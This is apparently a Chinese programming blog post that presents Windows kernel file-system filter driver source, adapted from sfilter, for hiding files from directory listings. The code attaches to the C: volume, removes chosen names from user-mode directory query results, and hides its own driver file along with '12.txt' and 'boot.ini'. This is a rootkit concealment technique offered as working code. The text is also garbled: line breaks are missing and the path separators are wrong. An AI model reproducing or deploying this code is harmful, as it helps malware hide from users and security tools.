文件过滤驱动-隐藏目标文件

代码是精简了sfilter中的代码，其实不如直接用寒江独钓里面的方法把sfilter编译成静态库

#include <ntddk.h>#include <string.h>#include "ScDetectiveFilter.h"PDRIVER_OBJECT pdoGlobalDrvObj = NULL;PDEVICE_OBJECT pdoGlobalDeviceObject = NULL;LIST_ENTRY pdoGlobalHideObHead;BOOLEANIS_MY_DEVICE_OBJECT(PDEVICE_OBJECT DeviceObject){ return DeviceObject->DriverObject == pdoGlobalDrvObj;}BOOLEANIS_MY_HIDE_OBJECT(const PWCHAR Name, ULONG NameLength, ULONG Flag){ PLIST_ENTRY ListHead = &pdoGlobalHideObHead; PLIST_ENTRY ListEntry = ListHead; PHIDE_OBJECT HideObject; ULONG ObFlag = (Flag & FILE_ATTRIBUTE_DIRECTORY) ? CDO_FLAG_DIRECTORY : CDO_FLAG_FILE; if (IsListEmpty(ListHead)) return FALSE; while (ListEntry->Flink != ListHead) { ListEntry = ListEntry->Flink; HideObject = (PHIDE_OBJECT)CONTAINING_RECORD(ListEntry, HIDE_OBJECT, ObjectLink); if (_wcsnicmp(Name, HideObject->ObjectName, NameLength >> 2) == 0 && ObFlag == HideObject->HideFlag) { KdPrint(("[IS_MY_HIDE_OBJECT] Found hide object : %ws", Name)); return TRUE; } } return FALSE;}VOID AddObject2Hide(PWCHAR Name, ULONG Flag){ PHIDE_OBJECT HideObject; HideObject = ExAllocatePoolWithTag(PagedPool, sizeof(HIDE_OBJECT), MEM_TAG); HideObject->HideFlag = Flag; wcscpy(HideObject->ObjectName, Name); InsertHeadList(&pdoGlobalHideObHead, &HideObject->ObjectLink); KdPrint(("New object to hide : %ws", Name));}VOID HideMyself(IN PUNICODE_STRING RegistryPath){ NTSTATUS ntStatus; HANDLE hKey; OBJECT_ATTRIBUTES ObAttributes; UNICODE_STRING ValueName; ULONG ReturnLength = 0; PKEY_VALUE_PARTIAL_INFORMATION KeyValueInformation; PWCHAR NamePos; InitializeObjectAttributes(&ObAttributes, RegistryPath, 0, NULL, NULL); ntStatus = ZwOpenKey(&hKey, KEY_READ, &ObAttributes); if (!NT_SUCCESS(ntStatus)) return ; RtlInitUnicodeString(&ValueName, L"ImagePath"); ntStatus = ZwQueryValueKey(hKey, &ValueName, KeyValuePartialInformation, NULL, 0, &ReturnLength); if (ntStatus == STATUS_OBJECT_NAME_NOT_FOUND || ReturnLength == 0) return; KeyValueInformation = ExAllocatePoolWithTag(NonPagedPool, ReturnLength, MEM_TAG); ntStatus = ZwQueryValueKey(hKey, &ValueName, KeyValuePartialInformation, KeyValueInformation, ReturnLength, &ReturnLength); if (NT_SUCCESS(ntStatus)) { NamePos = (PWCHAR)(KeyValueInformation->Data + KeyValueInformation->DataLength); do { NamePos --; } while (NamePos[0] != L'//'); AddObject2Hide(NamePos + 1, CDO_FLAG_FILE); } ZwClose(hKey); ExFreePoolWithTag(KeyValueInformation, MEM_TAG); return ;}VOIDScfsGetObjectName(IN PVOID Object,IN OUT PUNICODE_STRING Name ){ NTSTATUS ntStatus; CCHAR Buffer[512]; ULONG ReturnLength; POBJECT_NAME_INFORMATION NameInfo = (POBJECT_NAME_INFORMATION)Buffer; ntStatus = ObQueryNameString(Object, NameInfo, sizeof(Buffer), &ReturnLength); Name->Length = 0; if (NT_SUCCESS(ntStatus)) { RtlCopyUnicodeString(Name, &(NameInfo->Name)); }}NTSTATUS AttachToDiskDevice(IN PUNICODE_STRING DiskName, OUT PDEVICE_OBJECT* ReturnedDevice){ NTSTATUS ntStatus; PDEVICE_EXTENSION DevExt; PDEVICE_OBJECT DiskDevice = NULL; PDEVICE_OBJECT FilterDevice = NULL; IO_STATUS_BLOCK ioStatus; OBJECT_ATTRIBUTES obAttributes; PFILE_OBJECT FileObject = NULL; HANDLE FileHandle; InitializeObjectAttributes(&obAttributes, DiskName, OBJ_CASE_INSENSITIVE, NULL, NULL); ntStatus = ZwCreateFile(&FileHandle, SYNCHRONIZE | FILE_ANY_ACCESS, &obAttributes, &ioStatus, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, FILE_SYNCHRONOUS_IO_ALERT | FILE_DIRECTORY_FILE, NULL, 0); if (!NT_SUCCESS(ntStatus)) return ntStatus; ntStatus = ObReferenceObjectByHandle(FileHandle, FILE_READ_DATA, NULL, KernelMode, &FileObject, NULL); if (!NT_SUCCESS(ntStatus)) { ZwClose(FileHandle); return ntStatus; } DiskDevice = IoGetRelatedDeviceObject(FileObject); if (DiskDevice == NULL) goto _ErrorHandle; ntStatus = IoCreateDevice(pdoGlobalDrvObj, sizeof(DEVICE_EXTENSION), NULL, DiskDevice->DeviceType, FILE_DEVICE_SECURE_OPEN, FALSE, &FilterDevice); if (!NT_SUCCESS(ntStatus)) goto _ErrorHandle; FilterDevice->Flags &= ~ DO_DEVICE_INITIALIZING; ReturnedDevice[0] = FilterDevice; DevExt = FilterDevice->DeviceExtension; DevExt->DeviceName.Length = 0; DevExt->DeviceName.MaximumLength = sizeof(DevExt->NameBuffer); DevExt->DeviceName.Buffer = DevExt->NameBuffer; ScfsGetObjectName(pdoGlobalDeviceObject, &DevExt->DeviceName); DevExt->AttachedDevice = IoAttachDeviceToDeviceStack(FilterDevice, DiskDevice); if (DevExt->AttachedDevice == NULL) goto _ErrorHandle; KdPrint(("[AttachToDiskDevice] attach succeed...")); ObDereferenceObject(FileObject); ZwClose(FileHandle); return STATUS_SUCCESS;_ErrorHandle: KdPrint(("[AttachToDiskDevice] Operation failed : 0x%08x", ntStatus)); ObDereferenceObject(FileObject); ZwClose(FileHandle); return ntStatus;}NTSTATUS ScfsPassThrough ( IN PDEVICE_OBJECTDeviceObject, IN PIRPIrp ){ PDEVICE_EXTENSION DevExt = DeviceObject->DeviceExtension; if (pdoGlobalDeviceObject == DeviceObject) { __asm int 3; Irp->IoStatus.Information = 0; Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_INVALID_DEVICE_REQUEST; } IoSkipCurrentIrpStackLocation(Irp); return IoCallDriver(DevExt->AttachedDevice, Irp);}NTSTATUS ScfsDispatchCreate( IN PDEVICE_OBJECTDeviceObject, IN PIRPIrp ){ if (pdoGlobalDeviceObject == DeviceObject) { KdPrint(("cdo created")); Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } return ScfsPassThrough(DeviceObject, Irp);}NTSTATUS ScfsDispatchClose( IN PDEVICE_OBJECTDeviceObject, IN PIRPIrp ){ if (pdoGlobalDeviceObject == DeviceObject) { KdPrint(("cdo closed")); Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } return ScfsPassThrough(DeviceObject, Irp);}BOOLEANHandleDirectory( IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG BufferSize ){ PFILE_BOTH_DIR_INFORMATION NowDirInfo = DirInfo; PFILE_BOTH_DIR_INFORMATION LastDirInfo = NULL; ULONG offset = 0; ULONG position = 0; ULONG NewSize = BufferSize[0]; do { offset = NowDirInfo->NextEntryOffset; if (IS_MY_HIDE_OBJECT(NowDirInfo->FileName, NowDirInfo->FileNameLength, NowDirInfo->FileAttributes)) { KdPrint(("%08x Hided File:%ws[%d]/n", NowDirInfo->FileAttributes, NowDirInfo->FileName, NowDirInfo->FileNameLength)); if (offset == 0) { if (LastDirInfo) { LastDirInfo->NextEntryOffset = 0; NewSize -= BufferSize[0] - position; } else { NowDirInfo->NextEntryOffset = 0; BufferSize[0] = 0; return TRUE; } } else { RtlMoveMemory(NowDirInfo, (PUCHAR)NowDirInfo + offset, BufferSize[0] - position - offset); NewSize -= offset; position += offset; } } else { position += offset; LastDirInfo = NowDirInfo; NowDirInfo = (PFILE_BOTH_DIR_INFORMATION)((ULONG)NowDirInfo + offset); } } while (offset != 0); BufferSize[0] = NewSize; return TRUE;}NTSTATUSDirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context){ //if (Irp->PendingReturned) IoMarkIrpPending(Irp); KeSetEvent((PKEVENT)Context, IO_NO_INCREMENT, FALSE); return STATUS_MORE_PROCESSING_REQUIRED;//注：必须返回这个值}NTSTATUS ScfsDirectoryControl( IN PDEVICE_OBJECTDeviceObject, IN PIRPIrp ){ NTSTATUS ntStatus; PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp); PDEVICE_EXTENSION DevExt = DeviceObject->DeviceExtension; KEVENT kEvent; PQUERY_DIRECTORY QueryDir; ASSERT(pdoGlobalDeviceObject != DeviceObject); ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject)); if (irpSp->MinorFunction != IRP_MN_QUERY_DIRECTORY) goto _SkipHandle; if (Irp->RequestorMode == KernelMode) goto _SkipHandle; QueryDir = (PQUERY_DIRECTORY)&(irpSp->Parameters); if (QueryDir->FileInformationClass != FileBothDirectoryInformation) goto _SkipHandle; KeInitializeEvent(&kEvent, NotificationEvent, FALSE); IoCopyCurrentIrpStackLocationToNext(Irp); IoSetCompletionRoutine(Irp, DirControlCompletion, &kEvent, TRUE, TRUE, TRUE); ntStatus = IoCallDriver(DevExt->AttachedDevice, Irp); if (ntStatus == STATUS_PENDING) { ntStatus = KeWaitForSingleObject(&kEvent, Executive, KernelMode, FALSE, NULL); ASSERT(ntStatus == STATUS_SUCCESS); } if (!NT_SUCCESS(ntStatus) || irpSp->Parameters.QueryFile.Length == 0) { IoCompleteRequest(Irp, IO_NO_INCREMENT); return ntStatus; } QueryDir = (PQUERY_DIRECTORY)&(irpSp->Parameters); HandleDirectory(Irp->UserBuffer, &QueryDir->Length); IoCompleteRequest(Irp, IO_NO_INCREMENT); return ntStatus; _SkipHandle: IoSkipCurrentIrpStackLocation(Irp); return IoCallDriver(DevExt->AttachedDevice, Irp);}NTSTATUS ScfsDispatchDeviceControl( IN PDEVICE_OBJECTDeviceObject, IN PIRPIrp ){ NTSTATUS status = STATUS_SUCCESS; PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp); if (pdoGlobalDeviceObject != DeviceObject) { return ScfsPassThrough(DeviceObject, Irp); }/* switch(irpSp->Parameters.DeviceIoControl.IoControlCode) { case IOCTL_SCDETECTIVEFILTER_OPERATION: // status = SomeHandlerFunction(irpSp); break; default: Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST; Irp->IoStatus.Information = 0; break; }*/ status = Irp->IoStatus.Status; IoCompleteRequest(Irp, IO_NO_INCREMENT); return status;}VOID ScfsDriverUnload( IN PDRIVER_OBJECTDriverObject ){ PDEVICE_OBJECT pdoNextDeviceObj = pdoGlobalDrvObj->DeviceObject; PDEVICE_OBJECT pdoThisDeviceObj; PLIST_ENTRY ListEntry; PHIDE_OBJECT HideObject; PDEVICE_EXTENSION DevExt = NULL; IoDeleteSymbolicLink(&usSymlinkName); while (!IsListEmpty(&pdoGlobalHideObHead)) { ListEntry = RemoveHeadList(&pdoGlobalHideObHead); HideObject = (PHIDE_OBJECT)CONTAINING_RECORD(ListEntry, HIDE_OBJECT, ObjectLink); ExFreePoolWithTag(HideObject, MEM_TAG); } // Delete all the device objects while(pdoNextDeviceObj) { pdoThisDeviceObj = pdoNextDeviceObj; DevExt = pdoThisDeviceObj->DeviceExtension; if (DevExt) { if (DevExt->AttachedDevice) { IoDetachDevice(DevExt->AttachedDevice); } } pdoNextDeviceObj = pdoThisDeviceObj->NextDevice; IoDeleteDevice(pdoThisDeviceObj); } DestoryFastIo(DriverObject);}NTSTATUS DriverEntry( IN OUT PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ){ NTSTATUS status = STATUS_UNSUCCESSFUL; UNICODE_STRING NameString; PDEVICE_OBJECT FilterDevice; ULONG i; pdoGlobalDrvObj = DriverObject; // Create the device object. if(!NT_SUCCESS(status = IoCreateDevice( DriverObject, 0, &usDeviceName, FILE_DEVICE_DISK_FILE_SYSTEM, FILE_DEVICE_SECURE_OPEN, FALSE, &pdoGlobalDeviceObject ))) { // Bail out (implicitly forces the driver to unload). return status; }; // Now create the respective symbolic link object if(!NT_SUCCESS(status = IoCreateSymbolicLink( &usSymlinkName, &usDeviceName ))) { IoDeleteDevice(pdoGlobalDeviceObject); return status; } for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) { DriverObject->MajorFunction[i] = ScfsPassThrough; } DriverObject->MajorFunction[IRP_MJ_CREATE] = ScfsDispatchCreate; DriverObject->MajorFunction[IRP_MJ_CLOSE] = ScfsDispatchClose; DriverObject->MajorFunction[IRP_MJ_DIRECTORY_CONTROL] = ScfsDirectoryControl; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ScfsDispatchDeviceControl; DriverObject->DriverUnload = ScfsDriverUnload; InitFastIo(DriverObject); // 绑定 C:/ 设备 RtlInitUnicodeString(&NameString, L"//DosDevices//C://"); if (!NT_SUCCESS(status = AttachToDiskDevice( &NameString, &FilterDevice ))) { IoDeleteDevice(FilterDevice); return STATUS_DEVICE_CONFIGURATION_ERROR; } InitializeListHead(&pdoGlobalHideObHead); HideMyself(RegistryPath); AddObject2Hide(L"12.txt", CDO_FLAG_FILE); AddObject2Hide(L"boot.ini", CDO_FLAG_FILE); return STATUS_SUCCESS;}